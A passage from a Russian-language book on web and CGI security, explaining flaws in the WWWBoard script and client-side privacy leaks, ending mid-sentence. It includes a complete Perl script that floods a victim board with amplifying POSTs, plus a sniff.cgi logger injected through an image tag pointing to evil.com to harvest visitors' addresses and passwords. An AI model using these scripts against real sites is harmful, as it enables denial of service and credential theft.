Чтение онлайн

ЖАНРЫ

Шрифт:

Впрочем, возможность применения последней ошибки не совсем ясна… В конце 1997 года была обнаружена ошибка в поисковой машине Excite, которая тоже не утруждала себя фильтрацией метасимволов (в версиях 1.0–1.1).

Рассмотрим чуть поподробнее популярный скрипт WWWBoard, наглядно демонстрирующий практически все промахи, которые только может допустить cgi-программист. Все ошибки, перечисленные ниже, относятся к последней версии скрипта.

Первый недостаток – популярность скрипта. Он, несомненно, остается одним из самых распространенных скриптов для досок объявлений, несмотря на то, что ему на смену приходят более современные и обладающие большими возможностями реализации.

Поэтому первое, что должен сделать человек, желающий использовать WWWBoard, – перенести файл с паролем администратора в безопасное место, а собственно скрипт администрирования – либо переименовать, либо перенести в защищенный от общего доступа каталог. Иначе ваша доска объявлений станет хорошим полигоном для исследований возможностей того же John the Ripper (см. главу 9), потому что пароль администратора доски хранится в этом файле зашифрованным с помощью стандартной функции crypt (как правило, шифрующей пароль с помощью алгоритма DES, впрочем, в некоторых реализациях Perl для Win32

эта функция просто возвращает без изменений переданную ей строку). После чего вы можете с удивлением обнаружить, что кто-то удалил все записи на вашей доске, и порадоваться, что у средств администрирования WWWBoard нет никаких возможностей, кроме удаления неугодных записей.

Это, собственно, не ошибка автора скрипта, а всего лишь потенциальная ошибка конфигурирования, которую тем не менее допускают очень многие.

Теперь об ошибках. Основной код выглядит следующим образом:

# Get the Data Number

&get_number;

# Get Form Information

&parse_form;

# Put items into nice variables

&get_variables;

# Open the new file and write information to it.

&new_file;

# Open the Main WWWBoard File to add link

&main_page;

# Now Add Thread to Individual Pages

if ($num_followups >= 1) {

&thread_pages;

}

# Return the user HTML

&return_html;

# Increment Number

&increment_num;

Обратите внимание на пару функций get_number/increment_number. Код первой:

sub get_number {

open(NUMBER,"$basedir/$datafile");

$num = <NUMBER>;

close(NUMBER);

if ($num == 99999) {

$num = "1";

}

else {

$num++;

}

}

Код второй:

sub increment_num {

open(NUM,">$basedir/$datafile") || die $!;

print NUM "$num";

close(NUM);

}

Приведенные функции считывают из файла $datafile номер последнего сообщения, увеличивают его и сохраняют. Причем в промежутке между их вызовами обрабатывается пользовательский ввод, формируется новое сообщение, ссылка на него добавляется в главный файл доски и т. д. На небольших досках это не приведет к большим проблемам. На досках же с большой посещаемостью и с разросшимся главным файлом время выполнения скрипта существенно отличается от нуля, и вероятность того, что очередной посетитель отправит следующее сообщение до того, как скрипт обработает предыдущее, сильно возрастает (для этого даже необязательно ждать другого посетителя, вполне достаточно и одного, несколько раз нажавшего Submit). В итоге на доске появятся два сообщения с одинаковыми номерами, причем ответы на них будут продублированы. Это характерный пример игнорирования многопользовательской природы WWW. Первые строчки функции main_page, занимающейся добавлением заголовка сообщения на главную страницу доски, выглядят так:

open(MAIN,"$basedir/$mesgfile") || die $!;

@main = <MAIN>;

close(MAIN);

Другими словами, при добавлении записи вся доска считывается в память, после чего файл открывается еще раз и в него записывается уже обновленная версия доски. Эта же техника используется и в скрипте администрирования (и, между прочим, в скрипте гостевой книги того же автора). На больших досках это может привести к самым разным результатам (в зависимости от сервера, платформы, реализации интерпретатора perl): к уничтожению информации на доске, замедлению работы сервера (вплоть до замораживания системы) и т. п. Дополнительную уязвимость доске придает то, что большое количество критической информации хранится непосредственно в сообщении – в виде скрытых полей. В частности, в поле followup хранятся номера сообщений, предшествовавших текущему в «потоке», а также номер текущего сообщения – чтобы можно было их скорректировать после добавления очередного сообщения:

<input type=hidden name="followup" value="1,2,3">

Небольшие манипуляции с этим полем могут привести к разным последствиям, самое безобидное из них – засорение доски с помощью указания в строке followup номеров сообщений, не имеющих отношения к текущему. Если же мы сформируем следующее значение («2, 2, 2»), то уже после отправления первого сообщения на главной странице доски к записи с этим номером добавится один ответ, а также три записи вида (N), показывающие количество ответов. В теле самого сообщения уже будут видны три ссылки на один и тот же ответ. Если мы отправим это же сообщение во второй раз, то на главной странице получим девять записей (N) и еще две ссылки.

Другими словами, отправление N сообщений с followup, содержащим M упоминаний сообщения k, приведет к записи в файл главной страницы MN записей вида (<!–responses: k–>N). Так, followup типа «2,2,2,2,2,2,2,2,2,2», отправленный девять раз, даст нам 21 х 109 байт одних только скобочек с номерами, а объем информации, переданной с клиента, не превысит и килобайта. В сочетании с предыдущей ошибкой получаем эффективное средство атаки на сервер.

Разумеется, можно попытаться поставить заслон атакующему, проверяя HTTP_REFERER и отвергая сообщения, посланные не с нашего сервера, но, как сказано выше, HTTP_REFERER легко подделать. На примере следующей атаки рассмотрим использование метода POST:

#!/usr/bin/perl

use Socket;

$port=80;

$remote="www.victim.com";

$path="/cgi-bin/wwwboard.pl";

$name="Some name";

$email="my@mail";

$subject="great page!";

$body="Nice page, guys!";

$followup="2,2,2,2,2,2,2,2,2,2,2,2,2,2";

$timestopost=10;

$forminfo = "name=$name&email=$email&followup=$followup&subject=$subject&body=$body";

$forminfo =~ s/\,/\%2C/g;

$forminfo =~ tr/ /+/;

$length = length($forminfo);

$submit = "POST $path HTTP/1.0\r\nReferer: $url\r\n".

"User Agent: Mozilla/4.07 (Win95; I)\r\n".

"Content-type: application/x-www-form-urlencoded\r\n".

"Content-length: $length\r\n\r\n$forminfo\r\n";

for($i=1; $i <= $timestopost; $i++)

{

&post_message;

print "$i message(s) posted.\n";

}

sub post_message

{

$iaddr = inet_aton($remote) || die("Failed to find host: $remote");

$paddr = sockaddr_in($port, $iaddr);

$proto = getprotobyname("tcp");

socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!");

connect(SOCK, $paddr) || die("Unable to connect: $!");

send(SOCK,$submit,0);

close(SOCK);

}

Единственный способ реально «залатать» скрипт – вставить проверку повторяющихся номеров сообщений в followup, но и это не решит проблему окончательно.

Использование

серверных приложений для атаки на клиента

Ситуация, когда Web-мастер сознательно занимается атакой своих посетителей, является патологической. Гораздо чаще используются ошибки cgi-скриптов для атаки других посетителей (или для создания им серьезных неудобств).

Безопасность личной информации

В то время как IP-адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать везде свой адрес. И для того, чтобы начать на него атаку, нужно каким-то образом определить его адрес. В разделе «Атака на клиента» мы уже описывали некоторые клиентские приложения, существенно облегчающие задачу злоумышленникам, однако даже пользователь, не имеющий на своей машине ничего, кроме браузера, довольно уязвим.

Ваш любимый браузер при заходе на любую страницу сообщает о себе весьма много информации.

На простом примере покажем скрипт на Perl, выводящий основную информацию о посетителе страницы:

#!/usr/bin/perl

print ("Content-type: text/html\n\n");

@ee=(

"CHARSET", #кодировка

"HTTP_USER_AGENT", #тип браузера

"HTTP_REFERER", #страница, с которой вызван скрипт

"REMOTE_ADDR", #адрес клиента

"REMOTE_HOST", #хост клиента

"HTTP_X_FORWARDED_FOR" #адрес клиента, возвращаемый

# proxy-сервером

);

foreach $e(@ee)

{

print "<b>$e</b>: $ENV{$e}<br>\n";

}

Часть информации – CHARSET, USER_AGENT и HTTP_REFERER – передается клиентом и, следовательно, может быть подделана (или скрыта, все зависит от точки зрения), с чем успешно справляются proxy-серверы и программы наподобие JunkBuster или @Guard. REMOTE_ADDR и REMOTE_HOST могут быть скрыты с помощью proxy-серверов, многие из которых возвращают реальный адрес клиента в X_FORWARDED_FOR.

Другой источник утечки информации – cookies. Технически cookie представляет собой строку символов, которую сервер может сохранить на диске клиента, с тем чтобы в дальнейшем ее считать. С точки зрения безопасности практически единственная проблема, связанная с cookies, заключается в том, что они могут быть отправлены на сервер при помощи JavaScript, и, следовательно, с их помощью может быть передана вся информация, доступная в JavaScript. Впрочем, то же самое можно проделать и при помощи скрытых форм. Предельный размер каждого cookie определен в 4 Кб, а для каждого сервера допускается не более 20 cookies. Информация, записанная сервером в cookie, считывается только этим же сервером и используется преимущественно в мирных целях, например для идентификации пользователей в online-магазине, для сохранения настроек и т. п.

С другой стороны, далеко не всем нравится, что сервер что-то пишет на диск без ведома пользователя, да и не всех устраивает, что с помощью cookie очень легко отследить маршрут передвижения посетителя по серверу, его привычки и т. д. Последнее очень важно в связи с распространением баннерных сетей, код которых находится на каждой второй странице WWW и которые могут установить – и устанавливают – свои cookies, позволяя проводить более масштабные маркетинговые исследования.

Проблемы идентификации

Предположим, мы пишем скрипт доски объявлений (или Web-чата) и хотим предусмотреть в нем возможность регистрации: чтобы пользователь мог ввести свои имя и пароль и после проверки получить право записи на доску. Вариант решения – формировать все страницы динамически с помощью скрипта, а имя пользователя записывать в скрытое поле для того, чтобы вставлять его в сообщение автоматически. Затем пользователь Vasya, честно пройдя регистрацию, дает команду View source и видит следующий код:

<form action="/cgi-bin/board.cgi" method="GET">

<input type="hidden" name="nick" value="Vasya">

<input type="text" name="message" maxlength="255">

</form>

Далее он копирует его себе на диск и слегка подправляет:

<form action="http://www.victim.com/cgi-bin/board.cgi" method="GET">

<input type="hidden" name="nick" value="Petya">

<input type="text" name="message">

</form>

После чего от имени невинного пользователя Petya делает свое черное дело и забивает нашу доску мусором. Наученные горьким опытом, мы начинаем хранить в скрытом поле не только имя, но и пароль. Далее все зависит от того, насколько вы позаботились о безопасности своих пользователей. К примеру, Vasya может написать следующий скрипт (назовем его sniff.cgi):

#!/usr/bin/perl

$log = "snifflog.txt";

$now_string = localtime;

@thetime = split(/ +/,$now_string);

@theclock = split(/:/,$thetime[3]);

$ampm = ’am’;

if ($theclock[0] > 11)

{ $ampm = ’pm’; }

if ($theclock[0] == 0)

{ $theclock[0] = 12; }

if ($theclock[0] > 12)

{ $theclock[0] -= 12; }

else

{ $theclock[0] += 0; }

$lnum=$ENV{’QUERY_STRING’};

open (DB, "$log") || die "Can’t Open $log: $!\n";

flock(DB, 2);

@line=<DB>;

flock(DB, 8);

close(DB);

$value = $ENV{’HTTP_REFERER’};

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$line0="[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".$lnum.") ".

$ENV{’REMOTE_ADDR’}." ".$ENV{’REMOTE_HOST’}." ".$ENV{’HTTP_X_FORWARDED_FOR’}."

[".$value."]";

$maxline=@line;

$maxline=30 if ($maxline>30);

open (DB, ">$log") || die "Can’t Open $log: $!\n";

flock(DB, 2);

print DB ("$line0\n");

for ($i=0; $i<$maxline; $i++)

{

print DB ("$line[$i]");

}

flock(DB, 8);

close(DB);

print "Location: http://somehost/somepic.gif\n\n";

Затем он установит его на каком-либо сервере, разрешающем запуск cgi-приложений, и добавит на нашу доску код вида <img src="http://www.evil.com/cgi-bin/sniff.cgi"> (либо просто установит у себя на машине Web-сервер, вставит код <img src="http://vasya.home.host/somepic.gif"> и начнет изучать log-файл своего сервера). После чего все зашедшие на эту страницу исправно сообщат sniff.cgi, кто они, откуда и т. д. В частности, поскольку мы выбрали в качестве метода передачи данных GET, HTTP_REFERER будет содержать и имя, и пароль пользователя. Между прочим, очень многие Web-чаты до сих пор имеют этот недостаток. Дальнейшее уже зависит от политики в отношении вставки html-тэгов. Мы можем махнуть рукой и отдать нашу доску на растерзание, можем запретить все тэги, завести список запрещенных или разрешенных тэгов. Выбрав путь фильтрации, важно фильтровать весь пользовательский ввод, не рассчитывая, например, на то, что, если вы сделали в своем чате выпадающий список, позволяющий выбрать цвет, никому не придет в голову передать вместо ожидаемой строки с кодом цвета строчку вида

Поделиться с друзьями: